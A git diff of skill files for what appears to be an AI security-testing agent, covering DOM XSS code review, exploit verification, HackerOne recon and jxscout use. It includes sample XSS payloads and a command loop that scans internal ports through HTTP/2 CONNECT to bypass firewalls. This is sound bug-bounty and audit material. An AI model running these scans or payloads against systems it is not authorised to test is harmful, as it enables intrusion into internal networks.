-Write down each instance where data flows from an untrusted variable into one of these sinks. If the right side of an assignment is a literal string, it is usually safe. Otherwise, proceed to the next step.
-
-### 4. Assess Sanitisation and Validation
-
-Review any filtering or sanitisation logic applied to the data before it reaches a sink. Ask these questions:
-
-* **Is a sanitizer used?** Functions like `DOMPurify.purify()` are recognised as safe in tooling like Mozilla's ESLint plugin. If the code calls a known sanitizer (e.g., `DOMPurify.sanitize()`, `escapeHTML()`), it is likely safe.
-* **Are regex patterns robust?** Filters must anchor both the beginning and end of the string. Patterns such as `/([a-zA-Z0-9]+|\s)+$/` allow attackers to prepend malicious content. Ensure the pattern uses `^` and `$` to bound the entire string.
-* **Do URL validators parse correctly?** Functions that call `new URL()` may misparse schemes if the input is malformed. Reject ambiguous formats like `https:example.com` and validate both protocol and host.
-* **Are types enforced?** Static analysis cannot inspect run-time types, so treat any input that is not explicitly converted or validated as a potentially dangerous string. Arrays or objects may call custom `toString()` methods that return `javascript:` schemes. Confirm type checking is in place.
-
-Document any sanitisation functions encountered. Where the filter logic appears insufficient or absent, flag the instance for further review.
-
-**⚠️ Critical Warning:** If a function is called `escapeHTML` but it IS NOT a standard library function, you should review the function FIRST before flagging it as safe. A common pattern is developers naming their own validation functions which can often be bypassed.
-
-* If this is the case, examine the function and understand how it could be bypassed and deem it weak or insecure.
-
-### 5. Examine postMessage Handlers
-
-Cross-origin messaging is handled via `window.postMessage()`. When reviewing static code:
-
-1. **Locate handlers:** Search for `addEventListener('message', ...)` and assignments to `onmessage`.
-2. **Check origin validation:** Ensure the code compares `event.origin` to a trusted, exact origin rather than using `startsWith()` or `includes()`. Static analysis should flag comparisons to `window.origin` or cases where no origin check is performed. Accept only messages from known domains.
-3. **Validate message data:** Avoid executing functions based on `event.data`. Look for patterns like `window[data.func](data.payload)` and flag them. Data should be parsed (e.g., `JSON.parse()`) and validated against a strict schema before use.
-
-### 6. Review Framework-Specific Constructs
-
-Modern frameworks introduce their own templating and directive mechanisms. When reviewing code, search for:
-
-* **AngularJS:** Look for `ng-init`, `ng-app`, or double curly `{{...}}` interpolation. If user input is bound inside these expressions without sanitisation, it may trigger client-side template injection.
-* **Vue.js:** Look for `v-bind:`, `v-on:`, and mustache syntax. Binding untrusted data directly can lead to execution of functions such as `this.constructor.constructor('alert(1)')()`.
-* **htmx:** Check attributes like `hx-on`, `hx-trigger`, and `hx-target`. Malformed attribute names or values may break parsing rules and execute injected code.
-
-Flag any directive or binding where user data is inserted into template expressions or directive attributes.
-
-### 7. Perform En-Masse Pattern Scanning
-
-For large codebases, manual inspection is impractical. Use automated searches to highlight high-risk patterns:
-
-1. **Regex scanning:** Search for assignments to known sinks using regular expressions (e.g., `\.innerHTML\s*=`, `\.outerHTML\s*=`, `insertAdjacentHTML\(`, `document\.write\(`). Tools like ripgrep can search recursively and provide line numbers. Once this is done, it is vital to trace and understand context to understand if the flow is accessible, how it is accessible and what sources can reach it.
-
-2. **AST-based tools:** Consider using linting plugins or static analysis tools such as `eslint-plugin-no-unsanitized` (for JavaScript) which parse the Abstract Syntax Tree and differentiate between hardcoded literals and variables. These tools reduce false positives and highlight flows that require review.
-
-3. **Source-to-sink analysis:** If your tooling supports taint analysis, run it to automatically trace untrusted sources to sinks. Treat any flagged path as a high priority for manual verification.
-
-4. **Whitelisting safe patterns:** Maintain a list of approved sanitisation functions (e.g., `DOMPurify.purify`, `escapeHTML`) and configure your scanner to treat assignments wrapped in these functions as safe. Anything else should be flagged for human review. Remember, if a function is called `escapeHTML` but it IS NOT a standard library, you should review the function FIRST before flagging it as safe. A common pattern is developers naming their own functions to validate which can often be bypassed.
-   * If this is the case, examine the function and understand how it could be bypassed and deem it weak or insecure.
-
-Document the results in a spreadsheet or issue tracker. For each finding, record the file, line number, source variable, sink call, and any sanitiser observed. This helps prioritise follow-up audits.
-
-### 8. Flag and Communicate Findings
-
-Static analysis produces potential vulnerabilities, not definitive exploits. For each flagged instance:
-
-* **Describe the source–sink flow:** Indicate the untrusted input and the sink it reaches. Example: "queryParam → innerHTML without sanitisation."
-* **Assess sanitisation:** Note whether a recognised sanitiser is used or if a custom filter appears weak (e.g., regex missing anchors).
-* **Prioritise by risk:** Highlight sinks that lead to code execution (`eval`, `Function`) and critical flows like client-side redirects. Provide examples of potential payloads to illustrate impact.
-* **Recommend remediation:** Suggest encoding output, validating inputs, using frameworks' safe APIs (e.g., `textContent` instead of `innerHTML`), or introducing Trusted Types. Encourage developers to adopt automated linting to prevent regressions.
-
-## High-Signal Patterns for Static Review
-
-During static analysis, prioritise the following patterns as they often indicate vulnerabilities:
-
-1. Assignments to `.innerHTML`/`.outerHTML` with a variable rather than a literal string
-2. Calls to `document.write()`, `document.open().write()`, `append()` or `html()` where the argument is user-controlled
-3. Construction of `<script>`, `<iframe>`, or `<img>` elements with dynamic src/href attributes derived from user input
-4. Functions that build URLs by concatenating strings rather than using safe URL constructors, and then assign them to `location` or `window.open()`
-5. Regex validations that do not anchor the start and end of the string
-6. Origin checks in postMessage handlers that use `startsWith()` or compare to `window.origin` instead of explicit allowed origins
-7. Conditional logic that branches on untrusted data and calls dynamic execution functions like `eval()`, `Function()`, or `setTimeout()`
-8. Framework directives or template interpolations that embed variables without sanitisation
-
-## Automated Scanning Tools
-
-Consider using these tools to accelerate static analysis:
+# Framework-specific sinks
+rg 'dangerouslySetInnerHTML|v-html|ng-bind-html|\[innerHTML\]|hx-get|hx-post' \
+  --type js --type html -g "*.vue" -g "*.tsx" -n src/
+```
 
-* **eslint-plugin-no-unsanitized** - Mozilla's ESLint plugin that detects unsafe DOM manipulation
-* **Semgrep** - Pattern-based code scanner with DOM XSS rules
-* **CodeQL** - GitHub's semantic code analysis engine with JavaScript security queries
-* **ripgrep/grep** - For quick regex-based searches across codebases
-* **js-beautify** - For deobfuscating and formatting minified JavaScript before analysis
+**Checkpoint:** Record total sink count and source count. If sinks > 50, prioritize by category (eval-family first, then innerHTML, then URL assignment).
 
-## Analysis Workflow
+## 2. Trace data flow (source -> sink)
 
-Follow this systematic workflow for large codebases:
+For each sink hit, trace backwards to determine if attacker input reaches it:
 
-```
-1. Setup
-   ├─ Collect all JavaScript files
-   ├─ Deobfuscate/beautify minified code
-   └─ Set up linting tools (ESLint, Semgrep)
-
-2. Automated Scan
-   ├─ Run AST-based tools (eslint-plugin-no-unsanitized)
-   ├─ Run pattern matchers (Semgrep/CodeQL)
-   ├─ Search for source patterns (location.*, document.cookie, etc.)
-   └─ Search for sink patterns (.innerHTML, eval, etc.)
-
-3. Manual Triage
-   ├─ Review each flagged instance
-   ├─ Trace data flow from source to sink
-   ├─ Assess sanitization effectiveness
-   └─ Document findings with risk rating
-
-4. Reporting
-   ├─ Categorize by severity (Critical/High/Medium/Low)
-   ├─ Provide proof-of-concept payloads
-   ├─ Recommend specific remediation
-   └─ Track fixes and retest
+```bash
+# Find the variable assigned to the sink, then trace its origin
+# Example: el.innerHTML = content -- where does `content` come from?
+rg "content\s*=" --type js -n src/ | rg -i "location|param|query|hash|input|request"
 ```
 
-## Examples
+Classify each finding:
+- **Direct flow**: source -> sink with no sanitization = **vulnerability**
+- **Sanitized flow**: source -> sanitizer -> sink = check sanitizer adequacy
+- **Static content**: hardcoded string -> sink = **not exploitable**
 
-**Example 1: Scan codebase for innerHTML assignments**
-```
-User: "Find all potentially unsafe innerHTML assignments in this repository"
-→ Use ripgrep to search for \.innerHTML\s*= patterns
-→ Filter out assignments with literal strings
-→ Trace remaining assignments back to data sources
-→ Flag flows from location.*, document.referrer, or event.data
-→ Generate report with file paths, line numbers, and risk assessment
-```
+## 3. Assess sanitization
 
-**Example 2: Audit custom sanitization function**
-```
-User: "Review this escapeHTML function to see if it's secure"
-→ Read function implementation
-→ Check if it uses proper encoding (HTML entity encoding)
-→ Test against known bypass patterns (<img src=x onerror=alert(1)>)
-→ Verify it handles all contexts (attributes, text nodes, URLs)
-→ Report weaknesses and recommend using DOMPurify instead
-```
+```bash
+# Find DOMPurify usage
+rg "DOMPurify|dompurify|sanitize\(" --type js --type ts -n src/
 
-**Example 3: Triage large JavaScript bundle**
-```
-User: "This 5MB minified bundle may have DOM XSS vulnerabilities"
-→ Beautify the bundle using js-beautify
-→ Run eslint-plugin-no-unsanitized across the formatted code
-→ Search for high-risk patterns (eval, Function, innerHTML assignments)
-→ Prioritize findings by examining source-to-sink flows
-→ Create ranked list of vulnerabilities for manual verification
+# Find custom sanitizers (WARNING: verify implementation before trusting)
+rg "function.*(sanitiz|escape|clean|filter)" --type js --type ts -n src/
 ```
 
-**Example 4: Analyze postMessage handler security**
-```
-User: "Check if these postMessage handlers are secure"
-→ Search for addEventListener('message', ...) patterns
-→ Extract each handler function
-→ Verify presence of event.origin validation
-→ Check if validation uses strict equality (===) with whitelisted origins
-→ Look for dangerous patterns like window[event.data.func]()
-→ Document insecure handlers with exploitation scenarios
-```
+For custom sanitizers: apply the `custom-sanitizer-audit` skill (Five-Point Checklist).
+For DOMPurify: check version and config -- see `dompurify-mxss-bypass` skill.
 
-## References
+**Checkpoint:** For each custom sanitizer found, read the implementation. A function named `escapeHTML` that is NOT a standard library must be reviewed for bypass potential before marking flows through it as safe.
 
-* [PortSwigger Web Security Academy – DOM-based XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based)
-* [Intigriti – Hunting DOM XSS via Static Code Analysis](https://blog.intigriti.com)
-* [Mozilla – eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
-* [Practical CTF: Cross-Site Scripting and postMessage Exploitation](https://google.com)
-* Youssef Sammouda – DOM XSS write-ups
-* [Client-Side Security](https://book.jorianwoltjer.com/web/client-side)
-* [XSS Deep Dive](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss)
-* [WebSockets Security](https://book.jorianwoltjer.com/web/client-side/websockets)
+## 4. AST-based analysis (large codebases)
 
----
+- **Semgrep**: `semgrep --config p/javascript` for DOM XSS rules
+- **CodeQL**: `javascript/ql/src/Security/CWE-079` for taint tracking
+- **ESLint**: `no-unsanitized/property`, `no-unsanitized/method`
+
+## 5. Report findings
 
-**License:** CC-BY-4.0
+For each confirmed source-to-sink flow:
+- File, line number, sink type
+- Source of attacker input
+- Sanitization present (yes/no, adequate/inadequate)
+- Exploitability assessment
+- Recommended fix
 
-This skill provides a comprehensive checklist for static analysis of client-side code. It complements dynamic testing by identifying flows worth exploring further when run-time analysis is possible.
+## Chain With
+- `dom-vulnerability-detection` (dynamic analysis), `csp-bypass` (CSP blocks), `custom-sanitizer-audit` (homegrown sanitizer), `dompurify-mxss-bypass` (DOMPurify)
diff --git a/capabilities/web-security/skills/exploit-verifier/SKILL.md b/capabilities/web-security/skills/exploit-verifier/SKILL.md
index 089d0ad..ac457c0 100644
--- a/capabilities/web-security/skills/exploit-verifier/SKILL.md
+++ b/capabilities/web-security/skills/exploit-verifier/SKILL.md
@@ -22,7 +22,7 @@ Determine if the vulnerability CAN exist given the target's observable state.
 - Are there visible protections that would prevent exploitation? (WAF headers, CSP, CORS policy, input type restrictions)
 - Does the response indicate the input reaches server-side processing?
 
-**Decision:** PASS → proceed to Phase 2. FAIL → verdict: False Positive.
+**Checkpoint:** Document all checks performed. If FAIL, stop and issue False Positive verdict with justification.
 
 ### Phase 2: Dynamic Trigger
 
@@ -32,7 +32,7 @@ Send the payload and confirm it reaches the vulnerable code path.
 - Is there a behavioral difference between normal and malicious input? (response content, status code, timing, headers)
 - Does error output indicate the payload reached backend logic?
 
-**Decision:** PASS → proceed to Phase 3. FAIL → verdict: False Positive.
+**Checkpoint:** Record the request/response pair showing behavioral difference. If FAIL, stop and issue False Positive verdict.
 
 ### Phase 3: Sink Confirmation
 
@@ -51,7 +51,7 @@ Prove the exploit reaches its intended sink and achieves impact.
 | Mass Assignment | Unauthorized field persisted after write |
 | JWT Bypass | Elevated access with forged/manipulated token |
 
-**Decision:** PASS → verdict: Confirmed. FAIL → verdict: Partial.
+**Checkpoint:** Capture evidence (screenshot, response body, OOB callback). PASS = Confirmed. FAIL = Partial (impact not fully proven).
 
 ## Decision Matrix
 
diff --git a/capabilities/web-security/skills/h2-connect-internal-scan/SKILL.md b/capabilities/web-security/skills/h2-connect-internal-scan/SKILL.md
index 62fb2eb..3445497 100644
--- a/capabilities/web-security/skills/h2-connect-internal-scan/SKILL.md
+++ b/capabilities/web-security/skills/h2-connect-internal-scan/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: h2-connect-internal-scan
-description: Internal port scanning and SSRF via HTTP/2 CONNECT method. Use when target supports HTTP/2 and proxies may forward CONNECT requests to internal hosts.
+description: Internal port scanning and SSRF via HTTP/2 CONNECT method -- enumerates internal services, detects open ports, and bypasses firewall restrictions. Use when target supports HTTP/2 and proxies may forward CONNECT requests to internal hosts.
 ---
 
 # HTTP/2 CONNECT Internal Scan
@@ -9,29 +9,46 @@ description: Internal port scanning and SSRF via HTTP/2 CONNECT method. Use when
 - Target supports HTTP/2 (ALPN h2 negotiation succeeds)
 - Reverse proxy or load balancer in front of application
 - CONNECT method not explicitly blocked in H2 stream handlers
-- Need to map internal network from external position
 
-## Probe
-1. Establish HTTP/2 connection: `curl --http2 -v https://target.com`
-2. Send CONNECT requests per port on unique stream IDs:
+## Workflow
+
+### 1. Verify HTTP/2 support
+```bash
+curl --http2 -v https://target.com 2>&1 | grep "ALPN.*h2"
 ```
-:method: CONNECT
-:authority: 127.0.0.1:6379
+
+**Checkpoint:** If ALPN negotiation does not show `h2`, fall back to HTTP/1.1 CONNECT or try alternative SSRF vectors.
+
+### 2. Test single CONNECT request
+```bash
+# Using nghttp2 to send CONNECT to a known-open port
+nghttp -v "https://target.com" -H ":method: CONNECT" -H ":authority: 127.0.0.1:80"
 ```
-3. Multiplex 10-50 simultaneous probes across single connection
-4. High-value internal ports: 6379 (Redis), 9200 (Elasticsearch), 5432 (Postgres), 27017 (MongoDB), 8080/8443 (internal apps), 3000 (Node), 11211 (Memcached)
-5. Evaluate responses:
-   - `:status 200` → open port (tunnel established)
-   - `:status 502/503` → port unreachable but CONNECT processed
-   - `RST_STREAM` → most reliable closed-port signal
-
-## Indicators
-- Status 200 on internal IP:port combinations (tunnel established)
-- Different error codes for open vs closed ports (port scan confirmed)
-- Successful tunnel allows sending arbitrary protocol data to internal service
+
+**Checkpoint:** If RST_STREAM on all attempts, the proxy explicitly blocks CONNECT. Try `te0-request-smuggling` or `ssrf-redirect-loop` instead.
+
+### 3. Scan high-value internal ports
+```bash
+# Multiplexed port scan via H2 streams
+for port in 80 443 3000 5432 6379 8080 8443 9200 11211 27017; do
+  nghttp -v "https://target.com" \
+    -H ":method: CONNECT" -H ":authority: 127.0.0.1:${port}" \
+    2>&1 | grep "status=" &
+done
+wait
+```
+
+High-value ports: 6379 (Redis), 9200 (Elasticsearch), 5432 (Postgres), 27017 (MongoDB), 8080/8443 (internal apps), 3000 (Node), 11211 (Memcached).
+
+### 4. Evaluate responses
+- `:status 200` -- open port (tunnel established)
+- `:status 502/503` -- port unreachable but CONNECT processed
+- `RST_STREAM` -- most reliable closed-port signal
+
+**Checkpoint:** Successful tunnel (status 200) allows sending arbitrary protocol data to internal service. Verify by sending a protocol-specific probe through the tunnel.
 
 ## Chain With
-- ssrf-redirect-loop (if CONNECT is blind, chain with redirect loop for visibility)
+- blind-ssrf-chains (exploit discovered internal services)
 - te0-request-smuggling (if proxy handles H2, try smuggling variants)
 
 ## Reference
diff --git a/capabilities/web-security/skills/hackerone-recon/SKILL.md b/capabilities/web-security/skills/hackerone-recon/SKILL.md
index c24698d..62282b0 100644
--- a/capabilities/web-security/skills/hackerone-recon/SKILL.md
+++ b/capabilities/web-security/skills/hackerone-recon/SKILL.md
@@ -1,104 +1,63 @@
 ---
 name: hackerone-recon
-description: Pre-engagement reconnaissance workflow using HackerOne MCP tools to enumerate program scope, study prior disclosures, and identify high-value targets before active testing.
+description: Pre-engagement reconnaissance workflow using HackerOne MCP tools to enumerate program scope, study prior disclosures, and identify high-value targets. Use when starting a new HackerOne program engagement, building an asset inventory, or planning target selection before active testing.
 ---
 
-# HackerOne Pre-Engagement Reconnaissance
+# HackerOne Pre-Engagement Recon
 
-Use this workflow at the start of any engagement against a HackerOne program. The goal is to fully understand the program's scope, rules, weakness taxonomy, and disclosure history before sending a single test request.
-
-## Prerequisites
-
-- HackerOne MCP server running with valid credentials (`H1_USERNAME` + `H1_API_TOKEN`)
-- Run `hackerone_health` to verify connectivity and confirm your profile
+Prerequisite: HackerOne MCP server running with valid credentials (`H1_USERNAME` + `H1_API_TOKEN`). Verify with `hackerone_health`.
 
 ## Phase 1: Program Intelligence
 
-### 1.1 Retrieve Program Details
-
+### 1.1 Retrieve program details
 ```
 hackerone_get_program(program_handle="<handle>")
 ```
+Extract: program type (bounty vs VDP), submission state, response metrics, bounty splitting, excluded vuln types, severity thresholds.
 
-Extract and note:
-- **Program type**: Bug Bounty (paid) vs VDP (no bounty). Adjust effort accordingly.
-- **Submission state**: Is the program currently accepting reports?
-- **Response metrics**: Average time to first response, resolution, and bounty award. Programs with slow triage (>30 days) require more patience and stronger evidence.
-- **Bounty splitting**: If enabled, consider collaboration.
-- **Policy**: Read the full policy. Look for:
-  - Excluded vulnerability types (often: DoS, social engineering, self-XSS, rate limiting)
-  - Required testing restrictions (no automated scanning, no production data access)
-  - Safe harbor language and scope limitations
-  - Minimum severity thresholds for bounty eligibility
-
-### 1.2 Enumerate Scope Assets
+**Checkpoint:** If program is not accepting submissions, stop. If response metrics show >30 day triage, prepare stronger evidence.
 
+### 1.2 Enumerate scope assets
 ```
 hackerone_get_program_scope(program_handle="<handle>")
 ```
+Record for each asset: type, identifier, bounty eligibility, max severity, per-asset instructions.
 
-For each asset, record:
-- **Asset type**: URL, WILDCARD, DOMAIN, CIDR, SOURCE_CODE, MOBILE_APPLICATION
-- **Asset identifier**: The actual target (e.g., `*.example.com`, `https://api.example.com`)
-- **Bounty eligibility**: Not all in-scope assets are bounty-eligible
-- **Max severity**: Some assets cap severity (e.g., staging environments capped at medium)
-- **Instructions**: Per-asset notes from the program (testing restrictions, focus areas)
-
-**Prioritize by:**
-1. Bounty-eligible assets with `max_severity: critical` — highest ROI
-2. Wildcard domains — largest attack surface, most likely to have overlooked subdomains
-3. API endpoints — often less hardened than main web apps
-4. Recently added assets (cross-reference with bbscope_updates if available)
-
-### 1.3 Map Accepted Weaknesses
+**Prioritize:** (1) bounty-eligible + critical severity cap, (2) wildcard domains, (3) API endpoints, (4) recently added assets.
 
+### 1.3 Map accepted weaknesses
 ```
 hackerone_get_program_weaknesses(program_handle="<handle>")
 ```
-
-This tells you which CWE categories the program accepts. Use it to:
-- Focus testing on accepted weakness types
-- Avoid wasting time on categories the program explicitly excludes
-- Note the weakness IDs — you will need them when submitting reports via `hackerone_submit_report`
+Record CWE categories accepted. You need `weakness_id` values for report submission.
 
 ## Phase 2: Prior Art Analysis
 
-### 2.1 Study Disclosed Reports (Hacktivity)
-
+### 2.1 Study disclosed reports
 ```
 hackerone_search_hacktivity(program="<handle>")
 ```
+Identify: previously found vuln types, bounty amounts by severity, triage patterns. Avoid duplicating known findings.
 
-Disclosed reports reveal:
-- **What has been found before** — if 5 researchers found XSS in the search page, find something different
-- **Bounty amounts by severity** — calibrate your expectations and prioritize accordingly
-- **Program's bug preferences** — some programs reward certain vulnerability classes more generously
-- **Triage patterns** — how the program classifies and responds to different finding types
-
-### 2.2 Review Your Own Report History
-
+### 2.2 Review your own history
 ```
 hackerone_search_reports(program="<handle>")
 ```
-
-If you have prior reports against this program:
-- Check for `informative` or `not-applicable` verdicts — understand what the program rejects
-- Review `duplicate` reports — what is already known
-- Check `triaged` or `new` reports — avoid testing the same surface while reports are pending
+Check for `informative`/`not-applicable` verdicts (understand rejections), `duplicate` (known issues), `triaged`/`new` (avoid testing same surface).
 
 ## Phase 3: Target Selection
 
-After completing Phases 1 and 2, synthesize your findings:
+1. Build asset inventory with types, bounty eligibility, max severity
+2. Cross-reference with hacktivity -- deprioritize heavily-tested surfaces
+3. Record `structured_scope_id` for each target
+4. Record `weakness_id` for expected vuln types
+5. Respect per-asset instructions and policy restrictions
 
-1. **Build the asset inventory**: All in-scope targets with their types, bounty eligibility, and max severity
-2. **Cross-reference with hacktivity**: Remove heavily-tested surface areas, prioritize under-explored assets
-3. **Identify the scope IDs**: For each target you plan to test, record its `structured_scope_id` — you will need this for report submission
-4. **Note the weakness IDs**: For vulnerability types you expect to find, record the `weakness_id` values
-5. **Set testing boundaries**: Respect per-asset instructions and program policy restrictions
+**Checkpoint:** Before active testing, confirm you have: scope IDs, weakness IDs, asset inventory, and have read the full program policy.
 
-## Phase 4: Report Submission (Post-Testing)
+## Phase 4: Report Submission
 
-When you have a confirmed finding (after the full pipeline: `assess_confidence` → `report-preflight` → `exploit-verifier` → `report-writer`):
+After the full pipeline (`assess_confidence` -> `report-preflight` -> `exploit-verifier` -> `report-writer`):
 
 ```
 hackerone_submit_report(
@@ -112,14 +71,12 @@ hackerone_submit_report(
 )
 ```
 
-Including `weakness_id` and `structured_scope_id` improves triage speed and demonstrates thoroughness.
-
-After submission, use `hackerone_get_report_activities` to monitor triage status and `hackerone_add_comment` to respond to triager questions.
+Monitor with `hackerone_get_report_activities`. Respond to triager questions via `hackerone_add_comment`.
 
 ## Anti-Patterns
 
-- **Do not skip Phase 1.** Testing without reading the policy wastes time on excluded categories and risks violating program rules.
-- **Do not submit without scope/weakness IDs.** Reports without these require manual triager classification and signal lower researcher quality.
-- **Do not submit unverified findings.** The reporting pipeline (`assess_confidence` → `report-preflight` → `exploit-verifier` → `report-writer`) exists for a reason. Skipping it leads to `informative` verdicts and damaged reputation.
-- **Do not ignore hacktivity.** Submitting duplicates of known issues damages your signal score.
-- **Do not test out-of-scope assets.** Even if you find something, it will be closed as `not-applicable`.
+- **Skipping Phase 1** -- wastes time on excluded categories, risks violating rules
+- **Submitting without scope/weakness IDs** -- signals low researcher quality
+- **Skipping verification pipeline** -- leads to `informative` verdicts
+- **Ignoring hacktivity** -- submitting known duplicates damages signal score
+- **Testing out-of-scope assets** -- findings closed as `not-applicable`
diff --git a/capabilities/web-security/skills/http-connection-contamination/SKILL.md b/capabilities/web-security/skills/http-connection-contamination/SKILL.md
index 746e191..add5693 100644
--- a/capabilities/web-security/skills/http-connection-contamination/SKILL.md
+++ b/capabilities/web-security/skills/http-connection-contamination/SKILL.md
@@ -29,6 +29,8 @@ dig +short sub1.example.com sub2.example.com
 echo | openssl s_client -connect sub1.example.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative Name"
 ```
 
+**Checkpoint:** Both conditions must hold: same IP AND shared cert (wildcard or multi-SAN). If either fails, connection coalescing will not occur.
+
 ### Step 2: Test for first-request routing
 In browser DevTools (Network tab), observe if requests to `sub2.example.com` reuse the connection ID established for `sub1.example.com`. If the response content comes from sub1's backend, the proxy uses first-request routing.
 
diff --git a/capabilities/web-security/skills/jxscout-bookmarks/SKILL.md b/capabilities/web-security/skills/jxscout-bookmarks/SKILL.md
index 7c4be48..84bb80f 100644
--- a/capabilities/web-security/skills/jxscout-bookmarks/SKILL.md
+++ b/capabilities/web-security/skills/jxscout-bookmarks/SKILL.md
@@ -104,40 +104,17 @@ jxscout-pro-v2 -c bookmark delete --id <bookmark_id>
 2. Create a group if none fits: `jxscout-pro-v2 -c bookmark create-group --name "XSS sinks"`
 3. Create bookmarks with notes as you find interesting code
 
-## When to bookmark
+**Checkpoint:** After creating a group, run `bookmark list-groups` to verify. After creating bookmarks, run `bookmark list --group "Name"` to confirm.
 
-Bookmark things the user would want to review or come back to:
+## What to bookmark
 
-- **Sinks**: `innerHTML` assignments, `document.write`, `eval`, `location.href` assignments with user-controlled input
-- **Message handlers**: `window.addEventListener("message", ...)` -- especially without origin checks
-- **Auth logic**: token validation, session handling, role checks in client-side code
-- **Request construction**: places where API calls are built, especially with user-controlled parameters
-- **Interesting gadgets**: JSONP callbacks, script injection points, DOM clobbering targets
-- **Data flows**: where sensitive data moves from one component to another
-- **Multi-step flows**: authentication sequences, payment flows, cross-origin communication chains, OAuth handshakes. Bookmark each step in the same group with notes describing the progression (e.g. "Step 1: redirect_uri parsed from query", "Step 2: passed to OAuth authorize endpoint without validation"). This makes complex flows reviewable as a sequence rather than scattered across files.
-- **Interesting functionality**: admin panels, feature flags, internal tools, debug endpoints -- anything that reveals capabilities or attack surface worth revisiting
+Sinks, message handlers without origin checks, auth logic, request construction with user-controlled params, JSONP callbacks, DOM clobbering targets, multi-step flows (bookmark each step in same group with progression notes).
 
-## Note quality
+Bookmarks can also point to raw `.req`/`.res` files in `http_requests/` for marking interesting API calls or auth flows.
 
-Notes should explain **why** the code is interesting, not just describe what it does.
+## Note guidelines
 
-Good notes:
-- "postMessage handler -- no origin check, passes `event.data.redirect` to `window.location`"
-- "Constructs API URL with user-controlled `req.query.callback` -- potential JSONP abuse"
-- "JWT decoded client-side without signature verification, role extracted from payload"
+Notes should explain **why** the code is interesting. Notes support markdown.
 
-Bad notes:
-- "This is a function"
-- "Event listener"
-- "API call"
-
-## Bookmarking HTTP request/response files
-
-If `http_requests/` exists in the project working directory, bookmarks can also point to raw `.req`/`.res` files captured by jxscout -- not just JS/HTML code. This is useful for marking interesting API calls, auth flows, or responses that contain relevant security data (tokens, error messages, internal paths).
-
-## Tips
-
-- Notes support markdown -- use code blocks, links, and formatting freely.
-- Reuse existing groups when the category fits; create new ones for distinct themes.
-- When bookmarking a function or block, include the full range (first to last line).
-- Use highlight colors to visually distinguish different risk levels or categories in VS Code.
+- Good: "postMessage handler -- no origin check, passes `event.data.redirect` to `window.location`"
+- Bad: "Event listener"
diff --git a/capabilities/web-security/skills/jxscout-relationships/SKILL.md b/capabilities/web-security/skills/jxscout-relationships/SKILL.md
index b9ef738..167d5aa 100644
--- a/capabilities/web-security/skills/jxscout-relationships/SKILL.md
+++ b/capabilities/web-security/skills/jxscout-relationships/SKILL.md
@@ -58,15 +58,16 @@ Lists all iframes embedded by an HTML page. Relevant for:
 
 ## Workflow
 
-1. **Start with a page**: use `get-loaded-js-files` to see what JS runs on a specific page
-2. **Check iframes**: use `get-loaded-iframes` to understand cross-origin framing
-3. **Follow the chain**: reversed sources often have more readable code -- check those for sensitive logic
-4. **Trace back to pages**: use `get-js-file-loader-page` to find which pages load a specific JS file or reversed source -- useful when you find something interesting and need to know the affected pages
+1. **Start with a page**: `get-loaded-js-files` to see what JS runs on it
+2. **Check iframes**: `get-loaded-iframes` to understand cross-origin framing
+3. **Follow the chain**: reversed sources often have more readable code -- check for sensitive logic
+4. **Trace back to pages**: `get-js-file-loader-page` to find which pages load a specific JS file
+
+**Checkpoint:** After mapping a page's assets, verify the relationships match what you see in the browser's Network tab. Missing scripts may indicate lazy-loaded chunks.
 
 ## Use cases
 
-- **Scoping analysis to a page**: instead of searching the entire project, find exactly which JS files power a specific page and focus your review there
-- **Finding hidden code**: lazy-loaded chunks often contain admin panels, internal tools, or feature-flagged code that isn't loaded by default
-- **postMessage research**: mapping which iframes a page loads helps identify cross-origin messaging patterns
-- **Understanding dependencies**: tracing which pages load a vulnerable script helps assess impact
-- **Impact assessment**: given a JS file or reversed source with a finding, use `get-js-file-loader-page` to determine which pages are affected and prioritize accordingly
+- **Scoping**: find exactly which JS files power a page, focus review there
+- **Hidden code**: lazy-loaded chunks often contain admin panels, feature flags, debug endpoints
+- **postMessage**: mapping iframes identifies cross-origin messaging patterns
+- **Impact**: given a vulnerable JS file, `get-js-file-loader-page` reveals which pages are affected
diff --git a/capabilities/web-security/skills/jxscout-security-research/SKILL.md b/capabilities/web-security/skills/jxscout-security-research/SKILL.md
index f8d98d8..fa2f689 100644
--- a/capabilities/web-security/skills/jxscout-security-research/SKILL.md
+++ b/capabilities/web-security/skills/jxscout-security-research/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: jxscout-security-research
-description: Holistic guide for using jxscout to perform real vulnerability assessment on web applications. Use when doing security research, vulnerability hunting, attack surface mapping, or when you need to understand how jxscout's capabilities fit together for effective security analysis.
+description: Holistic guide for using jxscout capabilities together for vulnerability assessment -- routes to specific jxscout-* skills for static analysis, findings, bookmarks, repeater, custom analyzers, relationships, and setup. Use when starting a new target assessment, planning attack surface mapping, or understanding how jxscout tools fit together.
 license: proprietary
 metadata:
   source: jxscout-pro-v2
@@ -8,191 +8,67 @@ metadata:
   origin: ported from jxscout-pro-v2 agent skills
 ---
 
-# Security Research with jxscout
+jxscout is a JS security analysis proxy -- intercepts traffic, ingests JS/HTML, runs static analyzers, reverses source maps, and maps client-side attack surface.
 
-jxscout is a JavaScript security analysis and recon tool that acts as an MITM HTTP/S proxy. It intercepts web traffic, ingests JS/HTML files, runs static analyzers, reverses source maps, and gives you a full picture of the client-side attack surface. This guide explains how to use its capabilities together for real vulnerability assessment -- not just pattern matching.
+Prerequisites: `JXSCOUT_PROJECT_NAME` env var must be set (from project `.env`). All CLI commands use `jxscout-pro-v2 -c` (client mode).
 
-## Mindset
+## Routing Table
 
-You are doing security research, not running a scanner. jxscout gives you tools to explore, analyze, and test. The goal is to find real vulnerabilities -- exploitable bugs that have actual security impact. That means:
+| Need | Skill | Key command |
+|---|---|---|
+| Query static analysis matches | `jxscout-static-analysis` | `jxscout-pro-v2 -c get-matches --match-kind <type>` |
+| Document a finding | `jxscout-findings` | `jxscout-pro-v2 -c create-finding` |
+| Bookmark interesting code | `jxscout-bookmarks` | `jxscout-pro-v2 -c bookmark create` |
+| Send/replay HTTP requests | `jxscout-repeater` | `jxscout-pro-v2 -c repeater <path>` |
+| Create custom analyzers | `jxscout-custom-analyzers` | edit `settings.jsonc` analyzer section |
